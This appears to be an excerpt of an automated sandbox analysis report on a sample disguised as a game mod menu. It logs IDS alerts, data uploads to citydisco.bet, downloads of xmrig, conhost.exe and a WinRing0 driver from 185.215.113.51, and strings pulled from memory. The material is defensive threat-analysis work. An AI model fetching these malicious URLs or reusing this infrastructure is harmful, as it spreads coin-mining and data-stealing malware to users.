Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49728 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49714 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49733 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49734 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49726 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2829056 - Severity 2 - ETPRO MALWARE Observed Request for xmrig.exe in - Coinminer Download : 192.168.2.4:49737 -> 185.215.113.51:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49732 -> 188.114.96.3:443

Source: global traffic	HTTP traffic detected: POST /gdJIS HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 61Host: citydisco.bet
Source: global traffic	HTTP traffic detected: POST /gdJIS HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=PR7RNlu8Me3QduBuodUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 19631Host: citydisco.bet
Source: global traffic	HTTP traffic detected: POST /gdJIS HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=O2B9qr440User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8743Host: citydisco.bet
Source: global traffic	HTTP traffic detected: POST /gdJIS HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=6pg17UTy0lMDUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20411Host: citydisco.bet
Source: global traffic	HTTP traffic detected: POST /gdJIS HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=aZuGrj1akvjQsBYAk7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 2581Host: citydisco.bet
Source: global traffic	HTTP traffic detected: POST /gdJIS HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=v6E04UMAKNhfNEWZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 569846Host: citydisco.bet
Source: global traffic	HTTP traffic detected: POST /aNzS HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 99Host: mrodularmall.top

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.51

Source: global traffic	HTTP traffic detected: GET /raw/YpJeSRBC HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /conhost.exe HTTP/1.1Connection: Keep-AliveHost: 185.215.113.51
Source: global traffic	HTTP traffic detected: GET /WinRing0x64.sys HTTP/1.1Host: 185.215.113.51Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xmrig.exe HTTP/1.1Host: 185.215.113.51Connection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: citydisco.bet
Source: global traffic	DNS traffic detected: DNS query: featureccus.shop
Source: global traffic	DNS traffic detected: DNS query: mrodularmall.top
Source: global traffic	DNS traffic detected: DNS query: pastebin.com

Source: unknown

HTTP traffic detected: POST /gdJIS HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 61Host: citydisco.bet

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 13 Mar 2025 04:46:42 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closex-frame-options: DENYx-frame-options: DENYx-content-type-options: nosniffx-content-type-options: nosniffx-xss-protection: 1;mode=blockx-xss-protection: 1;mode=blockcache-control: public, max-age=1801CF-Cache-Status: HITAge: 1231Server: cloudflareCF-RAY: 91f8e39b794d4674-DFW

Source: 1C2NX3IUVJPXMLDGP.exe, 0000000E.00000002.1489565252.0000000002AFE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.51
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.2016929516.000000000161A000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000002.2394339673.000000000161D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.51/
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.2016929516.000000000161A000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000002.2394339673.000000000161D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.51/E
Source: 1C2NX3IUVJPXMLDGP.exe, 0000000E.00000002.1489565252.00000000029D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.51/WatchDog.exe
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.2016824681.0000000001665000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.2016929516.000000000161A000.00000004.00000020.00020000.00000000.sdmp, 1C2NX3IUVJPXMLDGP.exe, 0000000E.00000000.1416561359.0000000000662000.00000002.00000001.01000000.00000008.sdmp, 1C2NX3IUVJPXMLDGP.exe.2.dr	String found in binary or memory: http://185.215.113.51/WatchDog.exeEhttp://185.215.113.51/lolMiner.exe?http://185.215.113.51/xmrig.ex
Source: 1C2NX3IUVJPXMLDGP.exe, 0000000E.00000002.1489565252.0000000002B19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.51/WatchDog.exeP
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000002.2394581010.0000000001660000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.2016929516.0000000001657000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.2017416574.000000000165D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.51/WatchDogjj
Source: 1C2NX3IUVJPXMLDGP.exe, 0000000E.00000002.1489565252.00000000029D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.51/WinRing0x64.sys
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.2016824681.0000000001665000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.2016929516.000000000161A000.00000004.00000020.00020000.00000000.sdmp, 1C2NX3IUVJPXMLDGP.exe, 0000000E.00000000.1416561359.0000000000662000.00000002.00000001.01000000.00000008.sdmp, 1C2NX3IUVJPXMLDGP.exe.2.dr	String found in binary or memory: http://185.215.113.51/WinRing0x64.sysChttps://pastebin.com/raw/YpJeSRBC
Source: 1C2NX3IUVJPXMLDGP.exe, 0000000E.00000002.1489565252.0000000002B19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.51/WinRing0x64.sysP
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000002.2394339673.000000000161D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.51/conhost.exe
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000002.2394381912.000000000162D000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.2018544674.000000000162C000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.2016929516.000000000161A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.51/conhost.exeG
Source: 1C2NX3IUVJPXMLDGP.exe, 0000000E.00000002.1489565252.00000000029D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.51/lolMiner.exe
Source: 1C2NX3IUVJPXMLDGP.exe, 0000000E.00000002.1489565252.00000000029D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.51/xmrig.exe
Source: 1C2NX3IUVJPXMLDGP.exe, 0000000E.00000002.1489565252.0000000002AFE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.51/xmrig.exeP
Source: 1C2NX3IUVJPXMLDGP.exe, 0000000E.00000002.1489565252.0000000002B19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.51D
Source: Kiddion's Modest Menu v.1.0.0.exe	String found in binary or memory: http://aia.entrust.net/ts1-chain256.cer01
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1233835511.0000000003C4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1233835511.0000000003C4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: Kiddion's Modest Menu v.1.0.0.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: Kiddion's Modest Menu v.1.0.0.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: Kiddion's Modest Menu v.1.0.0.exe	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: Kiddion's Modest Menu v.1.0.0.exe	String found in binary or memory: http://crl.entrust.net/ts1ca.crl0
Source: WinRing0x64.sys.14.dr	String found in binary or memory: http://crl.globalsign.net/ObjectSign.crl0
Source: WinRing0x64.sys.14.dr	String found in binary or memory: http://crl.globalsign.net/Root.crl0
Source: 1C2NX3IUVJPXMLDGP.exe, 0000000E.00000002.1489565252.0000000002B26000.00000004.00000800.00020000.00000000.sdmp, WinRing0x64.sys.14.dr	String found in binary or memory: http://crl.globalsign.net/RootSignPartners.crl0
Source: 1C2NX3IUVJPXMLDGP.exe, 0000000E.00000002.1489565252.0000000002B26000.00000004.00000800.00020000.00000000.sdmp, WinRing0x64.sys.14.dr	String found in binary or memory: http://crl.globalsign.net/primobject.crl0
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1233835511.0000000003C4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1233835511.0000000003C4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1233835511.0000000003C4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: Kiddion's Modest Menu v.1.0.0.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: Kiddion's Modest Menu v.1.0.0.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1233835511.0000000003C4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: Kiddion's Modest Menu v.1.0.0.exe	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1233835511.0000000003C4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: powershell.exe, 00000011.00000002.1442060312.0000000005F7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: Kiddion's Modest Menu v.1.0.0.exe	String found in binary or memory: http://ocsp.digicert.com0
Source: Kiddion's Modest Menu v.1.0.0.exe	String found in binary or memory: http://ocsp.digicert.com0A
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000000.00000002.1223220074.0000000000F7E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net0
Source: Kiddion's Modest Menu v.1.0.0.exe	String found in binary or memory: http://ocsp.entrust.net02
Source: Kiddion's Modest Menu v.1.0.0.exe	String found in binary or memory: http://ocsp.entrust.net03
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1233835511.0000000003C4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: 1C2NX3IUVJPXMLDGP.exe, 0000000E.00000002.1489565252.0000000002AB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pastebin.com
Source: 1C2NX3IUVJPXMLDGP.exe, 0000000E.00000002.1489565252.0000000002AB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pastebin.comd
Source: powershell.exe, 00000011.00000002.1438828249.0000000005066000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000011.00000002.1438828249.0000000005066000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: 1C2NX3IUVJPXMLDGP.exe, 0000000E.00000002.1489565252.0000000002AA5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1438828249.0000000004F11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000011.00000002.1438828249.0000000005066000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: Amcache.hve.5.dr	String found in binary or memory: http://upx.sf.net
Source: powershell.exe, 00000011.00000002.1438828249.0000000005066000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: Kiddion's Modest Menu v.1.0.0.exe	String found in binary or memory: http://www.digicert.com/CPS0
Source: Kiddion's Modest Menu v.1.0.0.exe	String found in binary or memory: http://www.entrust.net/rpa03
Source: powershell.exe, 00000011.00000002.1444267971.0000000007668000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1233835511.0000000003C4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1233835511.0000000003C4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1166088583.0000000003C38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org?q=
Source: powershell.exe, 00000011.00000002.1438828249.0000000004F11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1235479855.000000000163F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1235479855.000000000163F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1166088583.0000000003C38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1166088583.0000000003C38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1166088583.0000000003C38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1270508877.0000000001648000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1363602241.0000000001615000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.2016929516.000000000161A000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000002.2394339673.000000000161D000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1233569774.0000000001648000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://citydisco.bet/
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1270508877.0000000001648000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1233569774.0000000001648000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://citydisco.bet/37
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1363602241.0000000001615000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.2016929516.000000000161A000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000002.2394339673.000000000161D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://citydisco.bet/H
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1363602241.0000000001615000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.2016929516.000000000161A000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000002.2394339673.000000000161D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://citydisco.bet/W
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.2016929516.000000000161A000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1270865320.0000000001607000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1200209846.0000000001656000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.2017495532.0000000001604000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1363634962.0000000001604000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1306812533.00000000015D9000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1274752832.00000000015BC000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1306793258.0000000001604000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1234034802.0000000001632000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://citydisco.bet/gdJIS
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1274915003.00000000015D9000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1306812533.00000000015D9000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1274752832.00000000015BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://citydisco.bet/gdJIS2
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1166390530.0000000001641000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1166411608.0000000001655000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://citydisco.bet/gdJIS;
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1274915003.00000000015D9000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1233626072.0000000001632000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000002.2394143560.00000000015DA000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1306812533.00000000015D9000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1274752832.00000000015BC000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1234034802.0000000001632000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://citydisco.bet/gdJISP
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1200238178.0000000001658000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1200209846.0000000001656000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1200574188.0000000001656000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://citydisco.bet/gdJISTd3J
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1166390530.0000000001641000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1166411608.0000000001655000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1200209846.0000000001656000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://citydisco.bet/gdJISime
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1363602241.0000000001615000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.2016929516.000000000161A000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000002.2394339673.000000000161D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://citydisco.bet/kf
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1270789097.0000000001648000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1270508877.0000000001648000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1233569774.0000000001648000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://citydisco.bet/t
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1363602241.0000000001615000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.2016929516.000000000161A000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000002.2394339673.000000000161D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://citydisco.bet/z
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1200264344.0000000001605000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://citydisco.bet/~
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1235479855.000000000163F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1235479855.000000000163F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: powershell.exe, 00000011.00000002.1442060312.0000000005F7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000011.00000002.1442060312.0000000005F7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000011.00000002.1442060312.0000000005F7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1166088583.0000000003C38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1166088583.0000000003C38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtabv20
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1166088583.0000000003C38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
